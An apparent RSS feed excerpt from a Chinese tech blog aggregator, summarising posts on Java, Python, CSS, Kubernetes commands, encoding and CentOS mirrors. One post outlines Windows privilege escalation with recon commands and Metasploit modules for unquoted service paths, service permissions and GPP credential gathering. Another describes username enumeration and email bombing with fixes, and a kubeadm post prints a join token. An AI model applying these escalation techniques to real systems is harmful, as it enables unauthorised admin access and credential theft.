      <description># 集合框架&#xA;**集合**：把具有相同数据类型的一组变量，汇聚成一个整体，就被称之为集合。&#xA;**集合框架**：为了表示和操作集合而规定的一种统一标准的体系结构。最简单的集合如数组、队列和列表等。任何集合框架一般包含：对外的接口、接口的实现和对集合运算的算法。&#xA;- 接口：即表示集合的抽象数据类型(规范)。接口提供了让我们对集合中所表示的内容进行单独操作的方式(标准)。&#xA;- 实现：也就是集合框架中接口的具体实现。实际上它们就是那些可复用的数据结构。&#xA;- 算法：在一个实现了某个集合框架中的接口对象身上完成了某种有用的计算的方法，例如查找、排序等。&#xA;## 接口的体系结构&#xA;## Collection接口&#xA;对单个元素进行存放的最大接口规范。针对不同的方式它有不同的实现。&#xA;### List接口&#xA;是Collection接口的子接口，主要针对于线性操作来提出的规范。&#xA;**特点**：可重复，有序的集合&#xA;#### Vector实现类&#xA;线性队列式结构的一种实现，它是线程安全的，多个线程同时对集合操作时保证了安全。&#xA;**特点**：数组结构、查询方便(只需要下标就行)、线程安全的，插入和删除的效率低下(涉及其后元素的位移)&#xA;```java&#xA;// 1.如何产生Vector类的对象&#xA;// 产生了一个Vector集合，集合中只能存放Integer类型的元素&#xA;Vector&amp;lt;Integer&amp;gt; vector = new Vector&amp;lt;&amp;gt;();&#xA;// 2.Vector类的常用方法&#xA;// 存放到集合中&#xA;vector.add(88); // 添加到集合的末尾&#xA;vector.add(64);&#xA;vector.add(1, 39); // 插入到指定位置之前&#xA;System.out.println(vector);&#xA;// 获取集合的长度&#xA;int len = vector.size();&#xA;System.out.println(&#34;集合元素个数是：&#34; + len);&#xA;// 获取集合中的元素&#xA;int v1 = vector.get(1); // 获取指定位置的元素&#xA;System.out.println(v1);&#xA;// 修改集合指定位置的元素内容&#xA;vector.set(2, 93);&#xA;System.out.println(vector);</description>
    </item>
    <item>
      <title>字节（Byte）、位(bit)</title>
      <link>https://bchobby.github.io/posts/c0206f19edb3a8532fa77f6541223409/</link>
      <pubDate>Thu, 24 Mar 2022 17:36:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0206f19edb3a8532fa77f6541223409/</guid>
      <description>1、位：&#xA;数据存储的最小单位。每个二进制数字0或者1就是1个位；&#xA;2、字节：&#xA;8个位构成一个字节；即：1 byte (字节)= 8 bit(位)；&#xA;1 KB = 1024 B(字节)；&#xA;1 MB = 1024 KB; (2^10 B)&#xA;1 GB = 1024 MB; (2^20 B)&#xA;1 TB = 1024 GB; (2^30 B)&#xA;2个十六进制位占用一个字节(8个二进制）&#xA;1个十六进制=4个二进制&#xA;16=2^4&#xA;指针类型决定了：指针进行解引用操作的时候&#xA;能够访问空间的大小&#xA;int*p 能够访问4个字节&#xA;char*p 能够访问1个字节&#xA;double*p 能够访问8个字节&#xA;指针类型决定了：指针走一步能走多远（指针的步长）&#xA;int*p: p+1--&amp;gt;4&#xA;char*p：p+1--&amp;gt;1&#xA;double*p:p+1--&amp;gt;8&#xA;接下来我们来看看这个题目&#xA;int* test() { int a = 10; return&amp;amp; a; } int main() { test(); return 0; } 这行代码虽然并不会报错，但是存在逻辑错误</description>
    </item>
    <item>
      <title>隐藏滚动条但保持页面滚动及页面滚动条样式</title>
      <link>https://bchobby.github.io/posts/34f185074eeb93c95a78d8613913f0bd/</link>
      <pubDate>Thu, 24 Mar 2022 17:36:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34f185074eeb93c95a78d8613913f0bd/</guid>
      <description>在用React+Ant design的时候遇到过组件anchor对layout布局下(header+content),content滚动(overflow:scroll)无法做出反应的BUG，可以尝试给body加滚动条，此时anchor就可以使用了,然后隐藏掉body的滚动条就可以了，也可以用来实现页面无滚动条也可滑动的效果。同时汇总一些常用的滚动条样式：&#xA;全局滚动条隐藏 ::-webkit-scrollbar{ display: none; } 隐藏body的滚动条 body::-webkit-scrollbar{ display: none; } 可以对单独元素或者className的元素生效，例 .content::-webkit-scrollbar{ display: none; } 或 main::-webkit-scrollbar{ display: none; } 滚动条的宽高 ::-webkit-scrollbar{ width: 3px; /*对垂直流动条有效*/ height: 3px; /*对水平流动条有效*/ } /*定义滚动条的轨道颜色、内阴影及圆角*/ ::-webkit-scrollbar-track{ -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3); background-color: #6d6d6d; opacity: 0.4; 滚动条透明度 } /*定义滑块颜色、内阴影及圆角*/ ::-webkit-scrollbar-thumb{ -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3); background: #6E7794; opacity: 0.7; border-radius: 2px; 滑块两端圆角 } 要注意的是CSS部分overflowY:hidden,滚动条隐藏的同时，滚动事件也是消失的。&#xA;如有错误或者更好的方式方法还望多指点，谢谢。</description>
    </item>
    <item>
      <title>Windows提权方法简单总结</title>
      <link>https://bchobby.github.io/posts/d1949050a9229e35dc70b195c8502ee6/</link>
      <pubDate>Thu, 24 Mar 2022 17:05:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1949050a9229e35dc70b195c8502ee6/</guid>
      <description>目录&#xA;前言&#xA;一、本地提权&#xA;系统内核溢出漏洞提权&#xA;错误系统配置提权&#xA;可信任服务路径漏洞&#xA;系统服务权限配置错误&#xA;计划任务提权&#xA;GPP组策略首选项提权&#xA;令牌窃取&#xA;数据库提权&#xA;二、域内提权&#xA;MS14-068&#xA;CVE-2020-1472&#xA;令牌窃取&#xA;前言 写了好多天的windows与linux提权技巧，现在做下简单的总结。&#xA;提权是后渗透重要的一环节，在权限较低的情况下，我们在进行一些操作如读取/写入敏感文件、权限维持等会受到束缚，所以需要提权。&#xA;在实际中我们会碰到工作组和域环境，工作组环境我们提权的目的是从普通用户权限到管理员或者system权限。而域环境中我们通常是从域用户到域管理员权限。&#xA;一、本地提权 系统内核溢出漏洞提权 这个提权方法是比较常用的方法。利用系统溢出漏洞进行提权的关键是通过查看系统的补丁信息来找寻缺失的、可以利用来提权的补丁进行提权&#xA;1. 首先获取补丁信息&#xA;获取补丁信息 systeminfo | findstr KB 获取系统版本信息 systeminfo | findstr OS 2. 将 补丁信息复制，再去这个网站上看看寻找缺失的补丁以及提权exp，再利用—&amp;gt; 提权辅助网页 Windows提权辅助&#xA;传送门——&amp;gt; Windows系统内核溢出漏洞提权&#xA;错误系统配置提权 由于管理员对系统的一些错误或不安全的配置，导致漏洞的发生。Windows中的错误系统配置提权包括：Trusted Service Paths（可信任服务路径）漏洞提权、系统服务权限配置错误、计划任务提权等。&#xA;可信任服务路径漏洞 如果一个服务调用的可执行文件的路径没有被双引号引起来，且路径带空格，且当前用户又有写权限。这个漏洞就会被攻击者用来上传任意可执行文件进而进行权限提升&#xA;在msf中使用如下模块进行漏洞检测&#xA;use windows/local/unquoted_service_path 传送门——&amp;gt; 可信任服务路径漏洞提权&#xA;系统服务权限配置错误 系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限，那么就可以将其替换成我们的恶意可执行文件，从而随着系统启动服务而获得系统权限。&#xA;msf中使用如下模块检测&#xA;use windows/local/service_permissions 传送门——&amp;gt; 系统服务权限配置错误提权&#xA;计划任务提权 如果我们对以高权限运行的任务所在目录具有写入权限，就可以使用恶意程序覆盖掉原来的程序。当计划任务下次执行时，就会以高权限运行恶意程序，进而完成提权&#xA;传送门——&amp;gt; GPP组策略首选项提权 管理员可以通过在组策略首选项中一键给域中计算机下发策略，其策略信息如组策略数据、域数据存储在SYSVOL文件夹中，域用户都可以访问该文件夹。若通过组策略修改域内机器管理员密码，其密文信息会保存在SYSVOL文件夹内。攻击者如果获取了该密码信息就可以破解，相当于就获取到了管理员密码&#xA;msf中使用如下模块检测&#xA;run post/windows/gather/credentials/gpp 令牌窃取 Windows Token其实叫Access Token(访问令牌)，它是一个描 述进程或者线程安全上下文的一个对象。不同的用户登录计算机后， 都会生成一个Access Token，所以，拿到某用户的Token即可伪装成某用户</description>
    </item>
    <item>
      <title>通过office部署工具安装office</title>
      <link>https://bchobby.github.io/posts/5e82ff0ef19a0511c20b75818f91b04e/</link>
      <pubDate>Thu, 24 Mar 2022 16:47:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e82ff0ef19a0511c20b75818f91b04e/</guid>
      <description>本教程同样使用于在已安装offic 365的基础之上安装如Project、Visio&#xA;1. 下载office部署工具 微软官网Office Deployment Tool&#xA;2. 运行Office Deployment Tool工具 下载文件后，运行自解压缩可执行文件，其中包含 Office 部署工具可执行文件 (setup.exe) 和多个示例配置文件 (configuration.xml)&#xA;3. 编辑xml配置文件 首先声明，上图中的四个后缀名为xml的文件均为示例文件&#xA;(1). 可选择四个中的一个xml文件作为自己的配置文件 此处我选择 configuration-Office36-x64.xml 作为自己的配置文件&#xA;首次打开该文件是这样的 &amp;lt;!-- Office 365 client configuration file sample. To be used for Office 365 ProPlus apps, Office 365 Business apps, Project Pro for Office 365 and Visio Pro for Office 365. For detailed information regarding configuration options visit: http://aka.ms/ODT. To use the configuration file be sure to remove the comments The following sample allows you to download and install the 32 bit version of the Office 365 ProPlus apps and Visio Pro for Office 365 directly from the Office CDN using the Current Channel settings --&amp;gt; &amp;lt;Configuration&amp;gt; &amp;lt;Add OfficeClientEdition=&#34;</description>
    </item>
    <item>
      <title>用户名枚举/邮箱轰炸攻击</title>
      <link>https://bchobby.github.io/posts/629de89cab261748a1aa2c140effe676/</link>
      <pubDate>Thu, 24 Mar 2022 16:40:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/629de89cab261748a1aa2c140effe676/</guid>
      <description>用户名枚举 漏洞描述 该漏洞存在于系统登陆页面，利用登陆时输入不存在用户名和正确用户名但密码错误时的回显信息不同这一特点，可枚举出系统中存在的账号信息。&#xA;漏洞影响 攻击者可借此漏洞枚举出系统中存在的所有账号，造成信息泄露，随后可针对这些用户名进行暴力破解或其他攻击尝试。&#xA;修复建议 该漏洞可以通过设置输入“不存在用户名”和“正确用户名但密码错误”的回显信息相同——例如“用户名或密码错误”来防范。 除此之外，还可以结合常见的防范暴力破解的方法：&#xA;增加安全的人机验证机制（例如验证码），并且验证码必须在服务器端进行校验，客户端的一切校验都是不安全的。&#xA;如果用户登录次数超过设置的阈值，则锁定帐号(有恶意登录锁定帐号的风险)。&#xA;如果某个 IP 登录次数超过设置的阈值，则锁定IP。&#xA;邮箱轰炸攻击 漏洞描述 由于对用户发送邮件的次数没有限制，导致可以无限的向用户发送邮件，从而造成邮箱轰炸。&#xA;漏洞影响 如果该漏洞被攻击者利用，可能大量消耗服务器资源。&#xA;修复建议 限制服务器端发送邮件的频率，比如同一个账号1分钟内只能发送1封邮件。&#xA;在发送邮件之前，使用图形验证码进行验证。</description>
    </item>
    <item>
      <title>如何理解泛型的上限限定和下限限定</title>
      <link>https://bchobby.github.io/posts/29db336303c890c7b30c15d27de5cca4/</link>
      <pubDate>Thu, 24 Mar 2022 14:47:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29db336303c890c7b30c15d27de5cca4/</guid>
      <description>泛型的上限限定：？ extends E 代表使用的泛型只能是E的子类或者本身&#xA;泛型的下限限定：？ super E 代表使用的泛型只能是E的父类或者本身&#xA;先看继承关系&#xA;Integer extends Number extends Object&#xA;String extengs Object&#xA;下面请看代码&#xA;public class Demo01 { public static void main(String[] args) { List&amp;lt;Integer&amp;gt; list1 = new ArrayList&amp;lt;&amp;gt;(); List&amp;lt;Number&amp;gt; list2 = new ArrayList&amp;lt;&amp;gt;(); List&amp;lt;String&amp;gt; list3 = new ArrayList&amp;lt;&amp;gt;(); List&amp;lt;Object&amp;gt; list4 = new ArrayList&amp;lt;&amp;gt;(); //将以上集合分别传到show1和show2的参数中 show1(list1); show1(list2); show1(list3); show1(list4); show2(list1); show2(list2); show2(list3); show2(list4) } public static void show1(List&amp;lt;? extends Number&amp;gt; list) {} public static void show2(List&amp;lt;?</description>
    </item>
    <item>
      <title>【Python实现杨辉三角】</title>
      <link>https://bchobby.github.io/posts/8de3ca49aeed9fe6a4553d6ba6bf40d7/</link>
      <pubDate>Thu, 24 Mar 2022 14:11:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8de3ca49aeed9fe6a4553d6ba6bf40d7/</guid>
      <description>目录&#xA;什么是杨辉三角&#xA;杨辉三角解法&#xA;1. 定义法&#xA;2. 计算杨辉三角 补0法&#xA;3. 杨辉三角，对称法&#xA;4. 杨辉三角，单列表方法&#xA;5.列表嵌套（二维数组）&#xA;6. 新旧两行，一次性开辟新行&#xA;7.yield函数&#xA;8.zip函数&#xA;参考资料链接：&#xA;一、什么是杨辉三角 杨辉三角，是二项式系数在三角形中的一种几何排列，中国南宋数学家杨辉1261年所著的《详解九章算法》一书中出现。在欧洲，帕斯卡（1623----1662）在1654年发现这一规律，所以这个表又叫做帕斯卡三角形。帕斯卡的发现比杨辉要迟393年，比贾宪迟600年。&#xA;杨辉三角_百度百科&#xA;​&#xA;杨辉三角的性质：&#xA;每个数字等于上一行的左右两个数字之和。即第n+1行的第i个数等于第n行的第i-1个数和第i个数之和。&#xA;为了解决这个问题，并了解更多的解法，我在网上查找了一些资料，将解法进行了汇总&#xA;二、杨辉三角解法 1. 定义法 思路： 从第三行开始，每一行的首尾都是1，中间部分每个数字等于上一行的左右两个数字之和。先定义每一行的第一个数字，然后在利用规则对中间部分进行运算，最后再添加最后一个元素。&#xA;PS：这个解法还是比较容易想出来的&#xA;代码： # 计算杨辉三角 定义法 n = eval(input(&#34;输入要打印的行数：&#34;)) triangle = [[1], [1, 1]] for i in range(2, n): # 已经给出前两行，求剩余行 pre = triangle[i-1] # 上一行 cul = [1] # 定义每行第一个元素 for j in range(i-1): # 算几次 cul.append(pre[j]+pre[j+1]) # 每个数字等于上一行的左右两个数字之和。 cul.</description>
    </item>
    <item>
      <title>Webot增加节点到机器人手臂</title>
      <link>https://bchobby.github.io/posts/45e90ae3c65723c0bfa3e08fd30d1b14/</link>
      <pubDate>Thu, 24 Mar 2022 11:50:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45e90ae3c65723c0bfa3e08fd30d1b14/</guid>
      <description> 1.打开Webot，导入机器人&#xA;2.在一个关节上增加一个Solid点&#xA;3.把shape关节点放到Solid点下，作为child&#xA;4.修改最下面的关节点名字为BaseSolid，并修改boundingObject为USE Base&#xA;5.逐步修改其它的名字为Axis_{n}和Axis_{n}_Solid&#xA;6.用改过名的名字Solid设置Boundingbox为对应的Shape&#xA;7.给底座增加HingeJoint节点 8.设置链接节点参数&#xA;9.设置端点节点&#xA;10.由于Webot的坐标轴和AutoCAD的坐标轴不同，需要转换Y轴和Z轴&#xA;原文：https://www.youtube.com/watch?v=s151UClAnEkhttps://www.youtube.com/watch?v=s151UClAnEk </description>
    </item>
    <item>
      <title>力扣每日一题（难的我也不会）2038. 如果相邻两个颜色均相同则删除当前颜色（2022.3.22）</title>
      <link>https://bchobby.github.io/posts/7c49d149346ea0c73dc090a2257c1926/</link>
      <pubDate>Thu, 24 Mar 2022 11:28:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c49d149346ea0c73dc090a2257c1926/</guid>
      <description>2038. 如果相邻两个颜色均相同则删除当前颜色&#xA;难度中等62收藏分享切换为英文接收动态反馈&#xA;总共有 n 个颜色片段排成一列，每个颜色片段要么是 &#39;A&#39; 要么是 &#39;B&#39; 。给你一个长度为 n 的字符串 colors ，其中 colors[i] 表示第 i 个颜色片段的颜色。&#xA;Alice 和 Bob 在玩一个游戏，他们 轮流 从这个字符串中删除颜色。Alice 先手 。&#xA;如果一个颜色片段为 &#39;A&#39; 且 相邻两个颜色 都是颜色 &#39;A&#39; ，那么 Alice 可以删除该颜色片段。Alice 不可以 删除任何颜色 &#39;B&#39; 片段。如果一个颜色片段为 &#39;B&#39; 且 相邻两个颜色 都是颜色 &#39;B&#39; ，那么 Bob 可以删除该颜色片段。Bob 不可以 删除任何颜色 &#39;A&#39; 片段。Alice 和 Bob 不能 从字符串两端删除颜色片段。如果其中一人无法继续操作，则该玩家 输 掉游戏且另一玩家 获胜 。 假设 Alice 和 Bob 都采用最优策略，如果 Alice 获胜，请返回 true，否则 Bob 获胜，返回 false。</description>
    </item>
    <item>
      <title>kubeadm、kubectl 常用操作命令</title>
      <link>https://bchobby.github.io/posts/380b72fac5224b921f9a952cc4f7f9cd/</link>
      <pubDate>Thu, 24 Mar 2022 09:32:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/380b72fac5224b921f9a952cc4f7f9cd/</guid>
      <description> 列出组件 kubectl get pods --all-namespaces 查看节点 kubectl get nodes 查看集群状态 kubectl get cs 查看部署状态 kubectl get deploy -n kube-system 查看命名空间下映射的端口 kubectl get svc -n kube-system 查看日志 journalctl -u kubelet 列出token kubeadm token list 创建token 用来加入集群 kubeadm token create --print-join-command 创建一个 Master 节点 kubeadm init \ --apiserver-advertise-address=172.17.28.225 \ --image-repository registry.aliyuncs.com/google_containers \ --kubernetes-version v1.23.0 \ --service-cidr=10.96.0.0/12 \ --pod-network-cidr=10.244.0.0/16 \ --ignore-preflight-errors=all 将一个 Node 节点加入到当前集群中 kubeadm join 172.17.28.225:6443 --token 8i06g2.5oooxc52052wshr4 --discovery-token-ca-cert-hash sha256:25c4aa52e8c24287665e03643ac1ae7496b84768960660ff4ea2ced757f61a1b </description>
    </item>
    <item>
      <title>回文素数与反素数程序 python</title>
      <link>https://bchobby.github.io/posts/af11c5b351660f1a29ea2d23675c5582/</link>
      <pubDate>Thu, 24 Mar 2022 08:32:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af11c5b351660f1a29ea2d23675c5582/</guid>
      <description>反素数(逆向拼写的素数)是指一个将其逆向拼写后也是一个素数的非回文数。例如：13和31都是素数，且13和31都不是回文数，所以，13和31是反素数。&#xA;输入一个正整数 n , 请输出从小到大排列的的前n个反素数，数字后面以一个空格进行分隔。&#xA;import math def sushu(x): for i in range(2,int(math.sqrt(x))+1): if x%i == 0: return False return True def bushihuiwen(x): bianliang1 = int(x[::-1]) if (bianliang1 != int(x) and (sushu(bianliang1))): return True return False x = int(input(&#34;需要几个反素数回文&#34;)) i,j = 0,2 while(i&amp;lt;x): if(sushu(j) and bushihuiwen(str(j))): print(j,end=&#34; &#34;) i += 1 j+=1 回文素数是指一个数既是素数又是回文数。例如，131，既是素数又是回文数。&#xA;用户输入一个正整数 n , 请你在一行内输出从小到大排列的的前n个回文素数，数字后面用一个空格进行分隔。&#xA;import math def sushu(x): for i in range(2,int(math.sqrt(x))+1): if x%i == 0: return False return True def bushihuiwen(x): bianliang1 = x[::-1] if (bianliang1 == x): return True return False x = int(input(&#34;</description>
    </item>
    <item>
      <title>8B/10B编码基本原理</title>
      <link>https://bchobby.github.io/posts/bd7e6664d50d10b41f40ecd3e5a7b5db/</link>
      <pubDate>Thu, 24 Mar 2022 08:10:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd7e6664d50d10b41f40ecd3e5a7b5db/</guid>
      <description>一、为什么需要8B/10B编码 简单的说是为了实现直流均衡。在高速串行通信中，8B/10B编码是一种经常用到的编码方式。&#xA;而高速串行总线中，通常采用交流耦合方式，即在发送端（TX）串接电容，根据电容“隔直流，通交流”的特性，或者理想电容的阻抗公式：&#xA;电容阻抗公式&#xA;信号频率越高，电容阻抗越低。当数据位流中出现多个连续的1或0时，可以认为该时间段信号是直流的，电容的损耗变大，导致信号的幅度降低，直流信号被滤除，到最后无法识别是1还是0。而且接收端收到连续的1或0时，没有充分的定时信息，对接收端的解码带来了困难。其原理如下图所示：&#xA;8B/10B编码以字节为单位，将数据映射成10位宽度的数据（具体映射方式可查表），使得编码后的二进制数据流中1和0的数量基本保持一致，同时确保字节同步易于实现。&#xA;二、8B/10B编码基本原理 8B/10B编码是1983年IBM公司的Al Widmer和PeterFranaszek提出的输出传输编码标准1，目前已广泛的应用在高速串行总线中。&#xA;假设原始8位数据从高到低用HGFEDCBA表示，8B/10B编码将8位数据分成高3位HGF和低5位EDCBA两个子组。然后经过5B/6B编码，将低5位EDCBA映射成abcdei；高3位经过3B/4B编码，映射成fghj，最后合成abcdeifghj发送。发送时由于是小端模式，a先发送。其对应关系如下图所示：&#xA;通常，认为会将低5位EDCBA按其十进制数值记为x，将高3位按其十进制数值记为y，将原始8bit数据记为D.x.y。例如8bit数“101 10101”，即十进制数181，按照上述划分原则x=10101（21），y=101（5），所示这个数被表示为D.21.5。此外在8B/10B编码中，还需用到12种控制字符，用来标识传输数据的开始和结束，传输空闲等状态，按照上述规则，将控制字符记为K.x.y。&#xA;这个时候问题来了，8位原始数据对应256个码，加上12种控制字符，而编码后的10位数据有1024个码，肯定有很多是用不到的，故需选择其中一部分来表示8bit数据，所选的码字0和1的数量应尽可能相等。&#xA;表1所示为5B/6B编码映射关系表2：&#xA;表2所示为3B/4B编码映射关系表：&#xA;表3所示为8B/10B编码映射关系表3：其映射原理将在下文中阐述。&#xA;注：表中用红色标注的应为D3.7。表中只列出部分编码映射关系。&#xA;为了明白8B/10B的编码原理，首先要明白两个重要的概念：“不一致性”（disparity）和“运行不一致性”，也翻译成“极性偏差”（running disparity，RD）。&#xA;Disparity表示编码后的码型数据中“1”的个数与“0”的个数的差值。由表1，表2及表3中的编码规则可知：Dirparity的取值只有“+2”（“0”比“1”多两个）、“0”（“0”和“1”数量相等）和“-2”（“0”比“1”少两个）。编码中“1”和“0”数量相等的码字称为“完美平衡码”。&#xA;RD是对编码后的数据流Disparity的一个统计，如果“1”的个数大于“0”的个数，则RD取正，记为RD+;如果“1”的个数小于“0”的个数，RD取负，记为RD-。8B/10B编码由3B/4B编码和5B/6B编码两部分组合而成，通过传递RD参数来使整个编码结果具有很好的直流平衡性。4&#xA;在编码时，RD的初始值为负，即RD-，根据当前的RD值，决定相应的编码输出。比如：在表1中，对于D.x.3（011），其对应的4B码字有两种：1100和0011，若此时RD为负，则取1100作为其对应的4B码字作为输出，同时检验此时的编码是否为完美编码，如果是完美编码，则保持RD的极性不变；否则改变RD的极性。通过控制RD的极性，同时在编码时根据RD的极性选择相对应的编码值，使得编码后的数据流有更好的直流平衡特性。5&#xA;下图所示为RD状态转移图：&#xA;由于控制字符只有12种，对其单独编码即可，可不按照上述方法对其编码。其编码映射关系如下：&#xA;Widmer, A. X.; Franaszek, P. A., “A DC-Balanced, Partitioned-Block, 8B/ 10B Transmission Code”, IBM Journal of Research. Development, VOL. 27, NO. 5, September 1983.pdf ↩︎&#xA;张平. 基于FPGA的高速8B/10B编解码电路设计[D].安徽大学,2016. ↩︎&#xA;李宥谋.8B/10B编码器的设计及实现[J].电讯技术,2005(06):26-32. ↩︎&#xA;靳鹏.基于FPGA的8B/10B编码器的设计与实现[J].电子世界,2018(08):142-143. ↩︎&#xA;杨佩,张丽娜,张洵颖等.LVDS中8B/10B编码解码器的设计与实现[J].微电子学与计算机,2014,5:41-44 ↩︎</description>
    </item>
    <item>
      <title>Mybatis 布尔值类型作为判断条件</title>
      <link>https://bchobby.github.io/posts/a1fd7417790b142ba92f7676fac9228f/</link>
      <pubDate>Thu, 24 Mar 2022 07:52:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1fd7417790b142ba92f7676fac9228f/</guid>
      <description> 实体类&#xA;public class Person { private String id; private String name; private Boolean result; // 省略get和set } Mybatis的SQL&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;!DOCTYPE mapper PUBLIC &#34;-//mybatis.org//DTD Mapper 3.0//EN&#34; &#34;http://mybatis.org/dtd/mybatis-3-mapper.dtd&#34;&amp;gt; &amp;lt;mapper namespace=&#34;com.xxx.TypeMapper&#34;&amp;gt; &amp;lt;select id=&#34;selectInfo&#34; parameterType=&#34;com.xxx.entity.Person&#34; resultType=&#34;String&#34;&amp;gt; SELECT &amp;lt;choose&amp;gt; &amp;lt;!-- result是布尔值,布尔值进行判断的时候 使用下面的判断方法,而不是 result == &#39;true&#39; 或者 result == true --&amp;gt; &amp;lt;when test=&#34;result&#34;&amp;gt; &#39;我是true&#39; AS result &amp;lt;/when&amp;gt; &amp;lt;otherwise&amp;gt; &#39;我是false&#39; AS result &amp;lt;/otherwise&amp;gt; &amp;lt;/choose&amp;gt; FROM DUAL; &amp;lt;/select&amp;gt; &amp;lt;/mapper&amp;gt; </description>
    </item>
    <item>
      <title>nacos、ribbon和feign(openfeign)的简明教程</title>
      <link>https://bchobby.github.io/posts/0ef9354e71433033245d8a445fd687fd/</link>
      <pubDate>Wed, 23 Mar 2022 20:09:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ef9354e71433033245d8a445fd687fd/</guid>
      <description>文章目录 概述1. nacos简明教程1.1 为什么需要nacos？1.2 如何使用Nacos1.2.1 Nacos server的启动1.2.2 在微服务中使用Nacos做服务注册和发现1.2.3 服务的调用 2. 负载均衡的问题2.1 使用Feign 参考 相关文章： 【spring cloud 】Ribbon和OpenFeign(代替RestTemplate) Dubbo 与 Feign 的区别 nacos、ribbon和feign的简明教程 概述 Feign官网&#xA;Feign是Spring Cloud组件中的一个轻量级RESTful的HTTP服务客户端，基础语法：&#xA;//Feign是个外套，需要指定底层的通信协议，这里是OkHttp public class Example { public static void main(String[] args) { GitHub github = Feign.builder() .client(new OkHttpClient()) .target(GitHub.class, &#34;https://api.github.com&#34;); } } 起初feign是Netflix 公司下的产品，由于 Netflix 公司不再维护feign，feign由社区维护，feign更名为 openfeign，并且项目迁移到新的仓库(前面官网地址就是openfeign)。后续版本仅使用“io.github.openfeign”，推荐使用该依赖。&#xA;Feign内置了Ribbon，用来做客户端负载均衡，去调用服务注册中心的服务。&#xA;spring-cloud-openfeign 是基于 openfeign 进行包装，集成了 SpringMVC 的注解等方便SpringBoot项目开发的一个组件。也就是这个时候，你才能使用注解语法 @FeignClient(name = “xxx-member”,path = “/member”)语法&#xA;一般使用&amp;lt;artifactId&amp;gt;spring-cloud-starter-openfeign&amp;lt;/artifactId&amp;gt;集成&#xA;1. nacos简明教程 1.1 为什么需要nacos？ 在微服务架构中，微服务之间经常要相互通信和调用，而且一个服务往往存在多个实例来降低负荷或保证高可用。我们假定A服务要调用B服务，最简单的方式把B服务的地址和端口保存在A服务的配置文件中。然后通过http请求去完成B服务的调用。但是B服务可能有好多个实例，而且可能会随着业务的需求随时的扩展或者停用掉一些实例，这个时候B服务的地址和端口可能会经常发生改变。如果记录在配置文件就多有不便。而且在众多的B服务中，可能有一些服务会出现各种问题坏掉，我们可能还需要写一个心跳检测，看看是不是所有的服务都正常运行，及时地剔除掉那些不能用的服务。如果完备稳定的实现这些功能，是一个不小的工作量。还好凡是有困难的地方总有前人造轮子。而Nacos就是来解决这样问题的轮子。</description>
    </item>
    <item>
      <title>mac https本地跨域配置</title>
      <link>https://bchobby.github.io/posts/a5a2b45ba338f1c980dc9b4ab8778fd0/</link>
      <pubDate>Wed, 23 Mar 2022 17:01:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5a2b45ba338f1c980dc9b4ab8778fd0/</guid>
      <description>本地开启网页服务的方法很多，一般借助emcc自带的emrun命令 emrun --no_browser build 即可开启本地http服务&#xA;最近在搞webassembly多线程，由于chrome在91版本之后如果要开启对sharedarraybuffer的使用，需要对网页配置跨域隔离，搜了网了有不少解决方案，我这边试了两个：&#xA;1、设置参数--disable-web-security，[yourname]换成电脑名称，一般是admin，这种方法，虽然设置跨域成功了，但是sharedarraybuffer没有启用成功，有时间可以去研究一下&#xA;open -n /Applications/Google\ Chrome.app/ --args --disable-web-security --user-data-dir=/Users/[yourname]/MyChromeDevUserData/ 2、 开启https服务，注意不是http，两者有些区别，本地开启https是默认会开启跨域隔离的，接下来就是研究如何开启https服务，可以参考Using SSL in local developmenthttps://blog.revathskumar.com/2020/07/using-ssl-in-local-development.html&#xA;1）安装AC证书&#xA;这一步使用mac的homebrew安装，brew install mkcert&#xA;2）执行mkcert --install&#xA;3）执行mkcert localhos 127.0.0.1，这时候目录下面会出现两个localhost的pem的证书&#xA;4）执行python脚本启用https服务&#xA;跨域服务参考资料：&#xA;Cross Origin Isolation：如何进行跨域隔离 - sky0014 - 博客园&#xA;https://github.com/sky0014/blog/blob/main/cross-origin-isolation.md&#xA;解决 SharedArrayBuffer is not defined - 掘金&#xA;https://segmentfault.com/a/1190000012550346</description>
    </item>
    <item>
      <title>centos8.2换源填坑的一天20220323</title>
      <link>https://bchobby.github.io/posts/33a269c5bee0fa98afc53b25d3c1da33/</link>
      <pubDate>Wed, 23 Mar 2022 16:46:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33a269c5bee0fa98afc53b25d3c1da33/</guid>
      <description>客户那里拿到了一个机子，想装个docker，换源搞半天。。&#xA;centos镜像-centos下载地址-centos安装教程-阿里巴巴开源镜像站&#xA;不成功。。&#xA;CentOS 8 EOL如何切换源？ - 云服务器 ECS - 阿里云&#xA;不成功。。&#xA;其他帖子，各种尝试，用centos-vault 就是不成功：&#xA;http://mirrors.aliyuncs.com/centos-vault 打不开&#xA;http://mirrors.cloud.aliyuncs.com/centos-vault 打不开&#xA;repomd.xml下载不了、parser error&#xA;下载成功，but checksum doesn&#39;t match ,sha256不对&#xA;等等。。&#xA;可能是我的版本或者配置有问题。。&#xA;最后用了centos/8-steam/ ,终于ok了&#xA;Centos8修改源_少十步的博客-CSDN博客_centos8 源&#xA;配置文件：&#xA;[base] name=CentOS-$releasever-stream - Base - mirrors.aliyun.com #failovermethod=priority baseurl=https://mirrors.aliyun.com/centos/$releasever-stream/BaseOS/$basearch/os/ http://mirrors.aliyuncs.com/centos/$releasever-stream/BaseOS/$basearch/os/ http://mirrors.aliyun.com/centos/$releasever-stream/BaseOS/$basearch/os/ gpgcheck=1 gpgkey=https://mirrors.aliyun.com/centos/RPM-GPG-KEY-CentOS-Official #additional packages that may be 